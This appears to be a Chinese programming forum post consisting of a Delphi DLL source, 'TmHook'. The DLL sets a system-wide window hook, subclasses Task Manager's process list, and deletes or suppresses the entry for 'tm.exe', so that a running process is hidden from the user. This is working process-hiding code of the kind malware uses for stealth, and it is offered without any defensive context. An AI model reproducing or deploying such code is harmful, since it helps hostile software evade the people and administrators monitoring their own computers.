830
社区成员
发帖
与我相关
我的任务
分享
library TmHook;
{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }
uses
SysUtils,
Classes,
Windows,
Messages,
CommCtrl;
var
hhook: Windows.HHOOK;
hwndListView: HWND;
oldWndProc: Integer;
{$R *.res}
function WindowProc(hwnd: HWND; msg: UINT; wp: WPARAM; lp: LPARAM): LRESULT; stdcall;
var
lvii: PLVItemW;
begin
{$if true}
if msg = LVM_INSERTITEMW then
begin
lvii := PLVItemW(lp);
if ((lvii^.mask and LVIF_TEXT) <> 0) and (CompareText(lvii^.pszText, 'tm.exe') = 0) then
begin
Result := 0;
Exit;
end
end;
{$ifend}
{$if true}
if msg = LVM_SETITEMW then
begin
lvii := PLVItemW(lp);
if ((lvii^.mask and LVIF_TEXT) <> 0) and (CompareText(lvii^.pszText, 'tm.exe') = 0) then
begin
// lvii^.pszText := 'Dandy Cheung'; // Just modify the process name
SendMessage(hwnd, LVM_DELETEITEM, lvii^.iItem, 0); // OR, delete this process item
Result := 0;
Exit;
end
end;
{$ifend}
if msg = WM_DESTROY then
begin
SetWindowLong(hwnd, GWL_WNDPROC, Integer(oldWndProc));
hwndListView := 0;
end;
Result := CallWindowProc(TFNWndProc(oldWndProc), hwnd, msg, wp, lp);
end;
function TmHookProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): Integer; stdcall;
var
cwp: PCwpStruct;
cs: PCreateStruct;
begin
Result := 0;
if (nCode < 0) then // or (nCode = HC_NOREMOVE)
begin
Result := CallNextHookEx(hhook, nCode, wParam, lParam);
exit;
end;
cwp := PCwpStruct(lParam);
if cwp^.message <> WM_CREATE then
begin
Result := CallNextHookEx(hhook, nCode, wParam, lParam);
exit;
end;
cs := PCreateStruct(cwp^.lParam);
if (CompareText(cs^.lpszName, '进程') = 0) and (CompareText(cs^.lpszClass, 'SysListView32') = 0) then
begin
hwndListView := cwp^.hwnd;
oldWndProc := SetWindowLong(hwndListView, GWL_WNDPROC, Integer(@WindowProc));
end
else
begin
Result := CallNextHookEx(hhook, nCode, wParam, lParam);
exit;
end;
end;
procedure Hook(bEnable: Boolean); stdcall; export;
begin
if bEnable then
begin
if hhook = 0 then
begin
hhook := SetWindowsHookEx(WH_CALLWNDPROC, TmHookProc, HInstance, 0);
end;
end
else
begin
if hhook <> 0 then
begin
UnhookWindowsHookEx(hhook);
hhook := 0;
end;
end;
end;
procedure DllEntry(reason: Integer);
begin
if reason = DLL_PROCESS_DETACH then
begin
if (oldWndProc <> 0) and (hwndListView <> 0) then
begin
SetWindowLong(hwndListView, GWL_WNDPROC, oldWndProc);
end;
end;
end;
exports
Hook;
begin
hhook := 0;
hwndListView := 0;
oldWndProc := 0;
DllProc := DllEntry;
end.